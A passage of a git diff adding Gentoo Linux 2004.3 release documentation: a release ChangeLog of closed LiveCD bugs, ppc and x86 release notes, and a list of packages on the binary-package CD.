+				<ti>hppa</ti>
+				<ti>all supported sub-architectures</ti>
+				<ti>LiveCDs, stages, GRP, Release Notes, netboot images</ti>
+				<ti>gmsoft</ti>
+			</tr>
+			<tr>
+				<ti>ia64</ti>
+				<ti>ia64</ti>
+				<ti>stages</ti>
+				<ti>plasmaroo</ti>
+			</tr>
+			<tr>
+				<ti>ppc64</ti>
+				<ti>power3, power4, power5, PPC970</ti>
+				<ti>LiveCDs, stages, Release Notes</ti>
+				<ti>tgall</ti>
+			</tr>
+
+		</table>
+
+		<p>If information regarding a specific arch is wrong or has been omitted, please
+		contact the release operations manager.</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2004.3/ChangeLog b/xml/htdocs/proj/en/releng/release/2004.3/ChangeLog
new file mode 100644
index 00000000..094ffc4d
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.3/ChangeLog
@@ -0,0 +1,241 @@
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2004.3/ChangeLog,v 1.9 2004/11/14 23:18:50 wolf31o2 Exp $
+
+# This file serves as the official ChangeLog for Gentoo Linux 2004.3
+# Each bugfix, enhancement, etc should be documented in this file
+# The syntax used by 'echangelog' should suffice.
+
+# PLEASE BE THOROUGH IN YOUR EXPLANATIONS!
+
+  14 Nov 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #58512. Made sure ide-disk was built-in in the kernel
+  configuration.
+
+  13 Nov 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #61283.  2.5GHz G5 support was added to the ppc LiveCD.
+
+  13 Nov 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #50978.  The rp-pppoe package was added to livecd-stage1 for ppc.
+
+  13 Nov 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #62909.  Added ds21143 driver.
+
+  13 Nov 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #61214. Added gcc and make to the 2004.3 ppc LiveCD (actually,
+  just didn't remove them).
+
+  13 Nov 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #56513.  Added PReP support to LiveCD.
+
+  13 Nov 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #49461.  Added de21041 driver to LiveCD.
+
+  13 Nov 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #30734.  Added proper SCSI support for ppc.
+
+  13 Nov 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #62707. A patched version of parted was added with proper HFS
+  support.
+
+  13 Nov 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #54894.  A G3 kernel was added to the ppc LiveCD.
+
+  13 Nov 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #53135.  The lvm2 package was added to livecd-stage1.
+
+  13 Nov 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #51949.  Support was added for non-Apple SATA controllers.
+
+  13 Nov 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #49549. Special care was taken to add better support for
+  OldWorld Mac machines to the 2004.3 kernel configuration.
+
+  13 Nov 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #43049.  Added updated bootsplash and livecd-tools support for ppc.
+
+  22 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #64486.  Added slmodem to livecd-stage2.
+
+  22 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #65097. Changed baselayout (as of 1.9.4-r6) to use
+  /bin/bashlogin rather than mingetty's autologin hack.
+
+  22 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Removing depracated bootstrap-2.6.sh and bootstrap.sh. Renaming
+  bootstrap-cascade.sh to bootstrap.sh.
+
+  22 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #55378.  Added scandelay option to add 10 second sleep to LiveCD.
+
+  22 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #61628.  Added dm-crypt support and it has been tested by tigger.
+
+  22 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #54424. Well, we decided that this is a good idea, so we added
+  it. The LiveCD now automatically asks for the keymap. After 10 seconds, or
+  when the user hits enter, it defaults to *not* installing a keymap. This
+  keeps us from breaking Mac and other clients.
+
+  22 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #29667. This module would not build, so I added the sources to
+  distfiles on the Universal CD in hopes that someone could use those to get
+  online. I don't know if the modules just are not 2.6 compatable or what.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #67785. This was fixed by the xfsprogs maintainer when they made
+  a newer version stable on supported arches.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #65792. This one was done upstream by the kernel developers once
+  they released newer kernels with this driver.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #64760. This one was fixed by a patch to include all the 2.6
+  names for the usb modules in the usb module loading section of genkernel.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #64529. This was another case of me messing up on the last
+  release. Anyway, since we built our current kernel configurations from the
+  last release's 2.6 kernel configurations, this is already resolved.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #63091. While we did have evms on the LiveCD, we did not have
+  the dm-bbr module. This has been added to the kernel specs and works,
+  according to tigger.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #62529. This was simple enough as plasmaroo fixed it in
+  genkernel, which means it was automatically done on any LiveCD that employs
+  that version of genkernel or greater.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #62505. This one was fixed by dsd. All we had to do was include
+  it in the kernel configuration file.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #60741. This was a very simple fix. All we had to do was put the
+  contents of the handbook tarball under a handbook directory on the CD.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #62195. This was fixed by adding quotes around the variable
+  names in the linuxrc script, which made them be processed as literal
+  strings. This was a simple fix for a definite problem with the 2004.2 CD.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #61372. While I filed this bug myself, I ended up working it
+  myself and let me say that I am definitely a lot closer to turning grey and
+  bald. Anyway, genkernel/catalyst now support both bootsplash and gensplash.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #67764. While this one is not entirely a LiveCD bug, it is a
+  package used on the LiveCD by default, so I'm including it here. Anyway,
+  we've made kudzu-knoppix capable of build only libkudzu, which is all we
+  really use on the LiveCD anyway.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #61610. This one was resolved by removing virtual/logger from
+  the system profile, which was actually an accident on my part during the
+  2004.2 release cycle.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #61405. This one is simple enough. I set dhcpcd to run in the
+  background rather than the foreground. This should improve boot times pretty
+  dramatically on a machine that is not on a DHCP-enabled network.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #64514. This was fixed by plasmaroo in genkernel 3.0.2g, which
+  has been in portage for a while. We are actually using genkernel 3.0.3,
+  which also has this fix.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #60499.  Here is another example of 2.6 prevailing where 2.4 fails.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #59938. We have the device-mapper stuff in the spec file and it
+  has been tested by tigger, so if something goes wrong... blame him.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #59253. This is another one where the 2.6 kernel worked where
+  the 2.4 kernel failed. Since we're all 2.6 now, this one is closed.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #58900. This was solved simply by switching to a 2.6-only setup
+  for the 2004.3 LiveCD.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #58472. This was solved pretty simply by moving to a 2.6-only
+  kernel for x86, which supports /proc/config.gz natively.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #58174. This one was reported for amd64, but affects all of us
+  that have VIA chipsets. The problem was the lack of separation between
+  libsata and IDE in the older kernels. This has been fixed upstream and is
+  resolved.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #53378. We've verified that this is in the templates and barring
+  any compilation problems, should be on every architecture that supports it.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #52717. This is another one that we didn't have to really do
+  anything. Newer kernels have proper separation between the old and
+  depracated IDE SATA interface and the newer and much better supported
+  libsata version.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #51145. This was included in the 2.6.8 kernel, so we now have
+  support for it.
+
+  21 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #51086. Well, we made /usr/lib/hotplug/firmware tmpfs for
+  catalyst. We also made /lib/firmware a symlink, in case there are any
+  *broken* ebuilds that require this. Once the newer hotplug versions go
+  stable, we'll swap which is which. There is also a tarball created of
+  anything in /usr/lib/hotplug/firmware at the end of livecd-stage2. This way
+  we do not lose any firmwares added by ebuilds. Oh yeah... blame seemant for
+  getting this done.
+
+  20 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #49516. There were some module problems with 2004.1 which was
+  the cause for this bug being filed. I have ensured that ppp (both the module
+  and the package) are available on the 2004.3 LiveCD, so this one is
+  resolved.
+
+  20 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #49328. This was the initial genkernel patch for udev support in
+  the LiveCD/genkernel. Successful udev LiveCDs have been built on x86 and
+  ppc64 using genkernel, so this one is definitely completed.
+
+  20 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #47450. This was fixed by genkernel 3.0.2a, which issues an
+  extra ramdisk_size option to the kernel for any initrd larger than 4096K in
+  size. We also are not concerned with this on x86/amd64 since we have upped
+  the default size for a ramdisk to 8192K.
+
+  20 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #46975. We are including ide-floppy and floppy as modules, so
+  this one is definitely fixed.
+
+  20 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #46297. This one was fixed in baselayout 1.9.4-r3. Since we are
+  using 1.9.4-r5, this one is no longer going to affect us.
+
+  20 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #44091. This was accomplished by extending genkernel to check if
+  the lvm2 package is installed and if it was compiled statically. If it was,
+  then the proper binaries are copied into the initrd. You can blame tigger
+  and plasmaroo for this one.
+
+  20 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #44045. The new LiveCD uses a 2.6.9 kernel, which has greater
+  support for SATA devices by making a distinct separation between IDE and
+  SATA. Since we are only using the libsata interface, this bug is no longer
+  valid on the newer CD.
+
+  20 Oct 2004; Chris Gianelloni <wolf31o2@gentoo.org> :
+  Closing bug #16202. Added globespan-adsl to packagecd.spec in
+  grp/src/packages for the Universal LiveCD. I have also added it to
+  livecd-stage2.spec in boot/kernel/gentoo/packages, so if it builds against
+  2.6.9, there will be a ready-to-use module on the LiveCD, also.
+
diff --git a/xml/htdocs/proj/en/releng/release/2004.3/ppc-release-notes.xml b/xml/htdocs/proj/en/releng/release/2004.3/ppc-release-notes.xml
new file mode 100644
index 00000000..5029e558
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.3/ppc-release-notes.xml
@@ -0,0 +1,259 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2004.3/ppc-release-notes.xml,v 1.3 2004/11/19 12:25:41 klieber Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="x86-release-notes.xml">
+<title>ppc Release Notes for Gentoo Linux 2004.3</title>
+
+<author title="Author">
+ <mail link="zhen@gentoo.org">John Davis</mail>
+</author>
+
+<author title="ppc Release Coordinator">
+	<mail link="pvdabeel@gentoo.org">Pieter Van den Abeeles</mail>
+</author>
+
+<abstract>
+Gentoo 2004.3 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>15 November 2004</date>
+
+<chapter>
+	<title>The Gentoo Linux Project</title>
+	<section>
+		<title>Overview</title>
+		<body>
+			<p>Gentoo Linux is a community driven project committed to producing
+			high quality opensource software. These release notes for Gentoo Linux 2004.3
+			summarize important package updates, security updates, and many other changes
+			that have happened since Gentoo Linux 2004.2</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Table of Contents</title>
+		<body>
+		<ul>
+			<li>1. Overview</li>
+			<li>2. Important Changes</li>
+			<li>	2.1 Security Updates</li>
+			<li>	2.2 Errata</li>
+			<li>	2.3 Critical Package Updates</li>
+			<li>	2.4 Portage Updates</li>
+			<li>	2.5 Userland Updates</li>
+			<li>	2.6 Documentation Updates</li>
+			<li>3. Upgrading from previous versions of Gentoo Linux</li>
+		</ul>
+
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Important Changes for 2004.3</title>
+	<section>
+		<title>Security Updates</title>
+		<body>
+			<p>Gentoo Linux 2004.3 contains security updates to address GLSAs 
+			(Gentoo Linux Security Advisories) numbered 200407-13 to 200410-26.
+			</p>
+			
+			<p>Individual GLSAs can be referenced by going to
+			<c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and substituting <c>$x</c>
+			with the desired GLSA number. </p>
+			
+			<p>For more information, please consult the the 
+			<uri link="http://security.gentoo.org/">Gentoo Linux Security Project home page</uri>.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Errata</title>
+		<body>
+			<table>
+			<tr>
+				<th>Errata</th>
+				<th>Workaround</th>
+			</tr>
+			<tr>
+				<ti>Creating a RAID fails because of missing device nodes</ti>
+				<ti>Manually create the device nodes using <c>MAKEDEV md</c></ti>
+			</tr>
+			</table>
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Critical Package Updates</title>
+		<body>
+			<p>Important package-versions in this release:</p>
+
+			<ul>
+				<li>gcc 3.4.1-r3</li>
+				<li>glibc 2.3.4-20040808</li>
+				<li>development-sources 2.6.9</li>
+				<li>gentoo-dev-sources 2.6.9-r1</li>
+				<li>gentoo-sources 2.4.26-r9</li>
+				<li>Portage 2.0.51-r2</li>
+				<li>x.org-x11 6.8.0-r1</li>
+				<li>KDE 3.3.0</li>
+				<li>GNOME 2.6.2-r1</li>
+				<li>XFCE4 4.0.6</li>
+			</ul>
+
+			<p>Coreutils is available in Version 5.2.1 with ACL patches. 
+			X.org-X11 is now the default XServer (current version is 6.8.0-r1).</p>
+
+			<p>With this release "cascading-profiles" are officially introduced. For more information about cascading-profiles
+			please read <uri link="http://www.gentoo.org/proj/en/releng/docs/cascading-profiles.xml">
+			http://www.gentoo.org/proj/en/releng/docs/cascading-profiles.xml</uri>. For information about how to change your
+			profile please read <uri link="http://www.gentoo.org/doc/en/gentoo-upgrading.xml">
+			http://www.gentoo.org/doc/en/gentoo-upgrading.xml</uri></p>
+			
+			<warn>Cascading profiles will only work with Portage >=2.0.51. Make sure to first upgrade to an appropriate version of Portage
+			and <b>then</b> upgrade your profile!</warn>
+			
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Portage Updates</title>
+		<body>
+			<p>The Portage version included in this release is 2.0.51-r2 and
+			the <uri link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+			can be found via our online CVS repository.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Userland Updates</title>
+		<body>
+			<ul>
+				<li>Genkernel has been updated. Its behaviour is different
+				to previous versions in pre-2004.1 releases.</li>
+				<li>Gentoo Linux 2004.3 is fully compatible with Linux kernel 2.6.
+				To use kernel 2.6, just <c>emerge gentoo-dev-sources</c>. </li>
+				<li>Catalyst, the Gentoo Release Metatool, is stable in Portage as version
+				1.1.0. To use Catalyst, simply <c>emerge catalyst</c>. </li>
+				<li>The default XServer has changed from XFree86 to x.org's X-Server.
+				If you want to use the new server instead of the old XFree (which is unmaintained now)
+				simply emerge <c>xorg-x11</c> instead of <c>xfree</c></li>
+			</ul>
+		</body>
+	</section>
+
+	<section>
+		<title>Documentation Updates</title>
+		<body>
+			<p>
+			Much consideration and time has been spent on the Gentoo Installation Handbook in 
+			order to get it more in sync with Gentoo 2004.3. Please note that it is a constant 
+			work in progress, and if any bugs are encountered, please refer them to the Gentoo Linux 
+			bugtracking system at http://bugs.gentoo.org.
+			</p>
+		</body>
+	</section>
+	
+</chapter>
+
+<chapter>
+	<title>Upgrading and Installation of Gentoo Linux 2004.3</title>
+	<section>
+		<title>Installing Gentoo Linux 2004.3</title>
+		<body>
+			<p>The entire Gentoo Linux installation process is documented 
+			in the <uri link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo Handbook</uri>. </p>
+			
+			<p>Each architecture offers three LiveCDs. The first one being a universal
+			bootable LiveCD which can be used to install with or without an Internet connection.
+			The second LiveCD is a non-bootable subarch-optimized Gentoo Reference Platform (GRP)
+			LiveCD which contains precompiled binaries of popular
+			programs such as X.org-x11, KDE, and GNOME. The third LiveCD is a bootable minimal LiveCD
+			that is smaller in size and includes only the basics needed to simply boot a machine.</p>
+			
+			<p>At minimum, the universal or minimal LiveCD is required to boot the machine and install Gentoo.
+			The universal LiveCD requires an Internet connection to install from a stage1
+			installation tarball, but does not require an Internet connection to install
+			from a stage3 installation tarball. The minimal LiveCD requires an Internet connection
+			to install Gentoo Linux.</p>
+
+			<p>The Universal PPC 2004.3 livecd has a Darwin / MacOS X cross compiler on board. The minimal cd
+			is not equipped with this feature. A gcc-3.4.1 linux compiler is also available on the bigger cd. 
+			Distcc is enabled by default.</p>
+
+			<p>Full Pegasos support out of the box. Thanks to Freescale Semiconductor and Genesi for donating
+			Open Desktop Workstations. It is no longer required to pass arguments to the Pegasos kernel, 
+			the default arguments are compiled into the kernel.</p>
+
+			<p>Just like 2004.2/PPC , this release features a squashfs2 compressed livecd loop filesystem. An
+			X-enabled live DVD/CD with automatic boottime X.org configuration will be available after the 
+			2004.3 release in the /experimental directory on the mirrors and torrents.gentoo.org</p>
+
+			<p>Livecd kernels are 2.6.9 based. ImacG5 support still experimental because of issues with cdrom
+			and thermal management (fans at 100%). The ImacG5 boots to a static shell initrd prompt. The 
+			pending experimental X-enabled live DVD and CD will support this machine completely.</p>
+
+			<p>Because of size constraints, there are only 604, G3, G4, G5 and Pegasos compatible kernels on the cd. An experimental livecd for more exotic prep and chrp machines will be available in 
+			the near future. Testers needed (gentoo-ppc-dev@gentoo.org)</p>
+
+			<p>Cascading 2004.3 profile as the default profile and udev as default dev-manager. Completely 
+			revamped toolchain (gcc-3.4.1, glibc 2.3.4 based). The entire ppc portage tree has been tested 
+			and prepared for NPTL, linux26-headers compatibility. NPTL is not enabled by default however, 
+			add NPTL to your use flags for an NPTL enabled PPC toolchain. Please note that a 2.4 kernel 
+			can not boot a userland with an NPTL enabled toolchain.</p>
+
+			<p>Bootsplash can be used on ppc. Not enabled by default on the livecd (yet). emerge bootsplash</p>
+
+			<p>A lot of work was performed on oldworld support, feedback welcome on bugs.gentoo.org.</p>
+
+			<p>The LiveCDs are located on the mirrors as follows: </p>
+			<table>
+				<tr>
+					<th>LiveCD Description</th>
+					<th>Location on Mirrors</th>
+				</tr>
+				<tr>
+					<ti>Universal bootable LiveCD</ti>
+					<ti>/releases/ppc/2004.3/livecd/install-ppc-universal-2004.3.iso</ti>
+				</tr>
+				<tr>
+					<ti>Minimal bootable LiveCD</ti>
+					<ti>/releases/ppc/2004.3/livecd/install-ppc-minimal-2004.3.iso</ti>
+				</tr>
+				<tr>
+					<ti>Non-bootable GRP-/Packages CD</ti>
+					<ti>/releases/ppc/2004.3/packagecd/packages-ppc-2004.3.iso</ti>
+				</tr>
+			</table>
+		</body>
+	</section>
+	<section>
+		<title>Upgrading to Gentoo Linux 2004.3</title>
+		<body>
+			<p>
+			If you already have a working installation of Gentoo Linux (Version
+			1.4, 2004.0, 2004.1) there is no need to reinstall. You will automatically get
+			Gentoo 2004.3 if you sync your Portage tree and run
+			<c>emerge --update world</c>. If you still have an installation
+			with a Gentoo 1.2 profile it might make sense -- in some cases -- 
+			that you do a new installation.</p>
+			<p>
+			There is also the possibility to update your system to a 1.4 
+			profile from which you -- as already stated -- can easily get to
+			Gentoo 2004.3. This update includes recompiling of glibc and some
+			essential system packages; it will take a very long time (possibly
+			longer as a complete re-installation) and it might also fail. So if
+			you still have an installation with a Gentoo 1.2 profile, it's
+			your decision whether you update or reinstall.
+			</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2004.3/x86-packagelist-2004.3.xml b/xml/htdocs/proj/en/releng/release/2004.3/x86-packagelist-2004.3.xml
new file mode 100644
index 00000000..151a7dc1
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.3/x86-packagelist-2004.3.xml
@@ -0,0 +1,128 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2004.3/x86-packagelist-2004.3.xml,v 1.2 2004/11/13 23:34:33 wolf31o2 Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="x86-packagelist-2004.2.xml">
+
+<title>List of packages that are availabe for binary (GRP) installation</title>
+
+<author title="Author"><mail link="zhen@gentoo.org">John Davis</mail></author>
+<author title="x86 Release Coordinator"><mail link="beejay@gentoo.org">Benjamin Judas</mail></author>
+
+<abstract>This is a list of packages that are available for binary (GRP) installation using the 2nd CD.</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>13 November 2004</date>
+
+<chapter>
+	<title>Available packages</title>
+	<section>
+		<title>distfiles on universal LiveCD</title>
+		<body>
+		<ul>
+		<li>ucl</li>
+		<li>udev</li>
+		<li>gentoo-sources</li>
+		<li>gentoo-dev-sources</li>
+		<li>vanilla-sources</li>
+		<li>development-sources</li>
+		<li>rp-pppoe</li>
+		<li>speedtouch</li>
+		<li>fcpci</li>
+		<li>globespan-adsl</li>
+		<li>pptpclient</li>
+		<li>slmodem</li>
+		<li>lvm2</li>
+		<li>iputils</li>
+		<li>vixie-cron</li>
+		<li>fcron</li>
+		<li>dcron</li>
+		<li>sysklogd</li>
+		<li>metalog</li>
+		<li>syslog-ng</li>
+		<li>raidtools</li>
+		<li>jfsutils</li>
+		<li>xfsprogs</li>
+		<li>reiserfsprogs</li>
+		<li>lvm2</li>
+		<li>dosfstools</li>
+		<li>lilo</li>
+		<li>grub</li>
+		<li>gentoolkit</li>
+		<li>chkrootkit</li>
+		<li>isdn4k-utils</li>
+		<li>iproute2</li>
+		<li>nvidia-kernel</li>
+		<li>nvidia-glx</li>
+		<li>ati-drivers</li>
+		<li>wireless-tools</li>
+		<li>pcmcia-cs</li>
+		<li>genkernel</li>
+		</ul>
+		</body>
+	</section>
+	
+	<section>
+		<title>Precompiled binary-packages on CD #2</title>
+		<body>
+		<ul>
+		<li>pciutils</li>
+		<li>hotplug</li>
+		<li>dante</li>
+		<li>tsocks</li>
+		<li>sys-apps/eject</li>
+		<li>xorg-x11</li>
+		<li>minicom</li>
+		<li>links</li>
+		<li>lynx</li>
+		<li>acpid</li>
+		<li>parted</li>
+		<li>whois</li>
+		<li>tcpdump</li>
+		<li>cvs</li>
+		<li>unzip</li>
+		<li>zip</li>
+		<li>netcat</li>
+		<li>partimage</li>
+		<li>DirectFB</li>
+		<li>apache</li>
+		<li>app-cdr/cdrtools</li>
+		<li>gnome</li>
+		<li>evolution</li>
+		<li>cups</li>
+		<li>dev-db/mysql</li>
+		<li>dev-lang/ruby</li>
+		<li>emacs</li>
+		<li>enlightenment</li>
+		<li>fluxbox</li>
+		<li>kde</li>
+		<li>libsdl</li>
+		<li>mozilla</li>
+		<li>xfce4</li>
+		<li>openbox</li>
+		<li>fluxbox</li>
+		<li>openoffice-bin</li>
+		<li>sylpheed</li>
+		<li>vim</li>
+		<li>xemacs</li>
+		<li>xmms</li>
+		<li>mozilla-firefox</li>
+		<li>mozilla-thunderbird</li>
+		<li>abiword</li>
+		<li>gaim</li>
+		<li>xchat</li>
+		<li>tetex</li>
+		<li>xcdroast</li>
+		<li>k3b</li>
+		<li>samba</li>
+		<li>nmap</li>
+		<li>gradm</li>
+		<li>ettercap</li>
+		<li>logrotate</li>	
+		</ul>
+		</body>
+	</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2004.3/x86-release-notes.xml b/xml/htdocs/proj/en/releng/release/2004.3/x86-release-notes.xml
new file mode 100644
index 00000000..b80c90b5
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.3/x86-release-notes.xml
@@ -0,0 +1,254 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2004.3/x86-release-notes.xml,v 1.5 2004/12/22 20:08:42 beejay Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="x86-release-notes.xml">
+<title>x86 Release Notes for Gentoo Linux 2004.3</title>
+
+<author title="Author">
+ <mail link="zhen@gentoo.org">John Davis</mail>
+</author>
+
+<author title="x86 Release Coordinator">
+	<mail link="beejay@gentoo.org">Benjamin Judas</mail>
+</author>
+
+<abstract>
+Gentoo 2004.3 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>13 November 2004</date>
+
+<chapter>
+	<title>The Gentoo Linux Project</title>
+	<section>
+		<title>Overview</title>
+		<body>
+			<p>Gentoo Linux is a community driven project committed to producing
+			high quality opensource software. These release notes for Gentoo Linux 2004.3
+			summarize important package updates, security updates, and many other changes
+			that have happened since Gentoo Linux 2004.2</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Table of Contents</title>
+		<body>
+		<ul>
+			<li>1. Overview</li>
+			<li>2. Important Changes</li>
+			<li>	2.1 Security Updates</li>
+			<li>	2.2 Errata</li>
+			<li>	2.3 Critical Package Updates</li>
+			<li>	2.4 Portage Updates</li>
+			<li>	2.5 Userland Updates</li>
+			<li>	2.6 Documentation Updates</li>
+			<li>3. Upgrading from previous versions of Gentoo Linux</li>
+		</ul>
+
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Important Changes for 2004.3</title>
+	<section>
+		<title>Security Updates</title>
+		<body>
+			<p>Gentoo Linux 2004.3 contains security updates to address GLSAs 
+			(Gentoo Linux Security Advisories) numbered 200407-13 to 200410-26.
+			</p>
+			
+			<p>Individual GLSAs can be referenced by going to
+			<c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and substituting <c>$x</c>
+			with the desired GLSA number. </p>
+			
+			<p>For more information, please consult the the 
+			<uri link="http://security.gentoo.org/">Gentoo Linux Security Project home page</uri>.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Errata</title>
+		<body>
+			<table>
+			<tr>
+				<th>Errata</th>
+				<th>Workaround</th>
+			</tr>
+			<tr>
+				<ti>Some NForce2 based boards may not display the bootsplash
+				graphics properly</ti>
+				<ti>Boot using the gentoo-nofb kernel</ti>
+			</tr>
+			<tr>
+				<ti>Creating a RAID fails because of missing device nodes</ti>
+				<ti>Manually create the device nodes using <c>MAKEDEV md</c></ti>
+			</tr>
+			<tr>
+				<ti>Bootsplash doesn't appear for modes below 1024x768</ti>
+				<ti>Modes below 1024x768 are not supported by the splashscreen on the livecd. You
+				should be able to install anyway since it's just eyecandy</ti>
+			</tr>
+				
+			</table>
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Critical Package Updates</title>
+		<body>
+			<p>Important package-versions in this release:</p>
+
+			<ul>
+				<li>gcc 3.3.4-r1</li>
+				<li>glibc 2.3.4-20040808</li>
+				<li>development-sources 2.6.9</li>
+				<li>gentoo-dev-sources 2.6.9-r1</li>
+				<li>gentoo-sources 2.4.26-r9</li>
+				<li>grsec-sources 2.4.27.2.0.1-r1</li>
+				<li>openmosix-sources 2.4.24-r4</li>
+				<li>usermode-sources 2.4.24-r9</li>
+				<li>vanilla-sources 2.4.27</li>
+				<li>win4lin-sources 2.4.26-r6</li>
+				<li>wolk-sources-4.14-r7</li>
+				<li>Portage 2.0.51-r2</li>
+				<li>x.org-x11 6.8.0-r1</li>
+				<li>KDE 3.3.0</li>
+				<li>GNOME 2.6.2-r1</li>
+				<li>XFCE4 4.0.6</li>
+			</ul>
+
+			<p>Coreutils is available in Version 5.2.1 with ACL patches. 
+			X.org-X11 is now the default XServer (current version is 6.8.0-r1).
+			See also the <uri link="x86-packagelist-2004.3.xml">list of packages</uri> available for binary installation</p>
+
+			<p>There is one kernel available on the livecd that will run on both, uniprocessor and smp machines.</p>
+
+			<p>With this release "cascading-profiles" are officially introduced. For more information about cascading-profiles
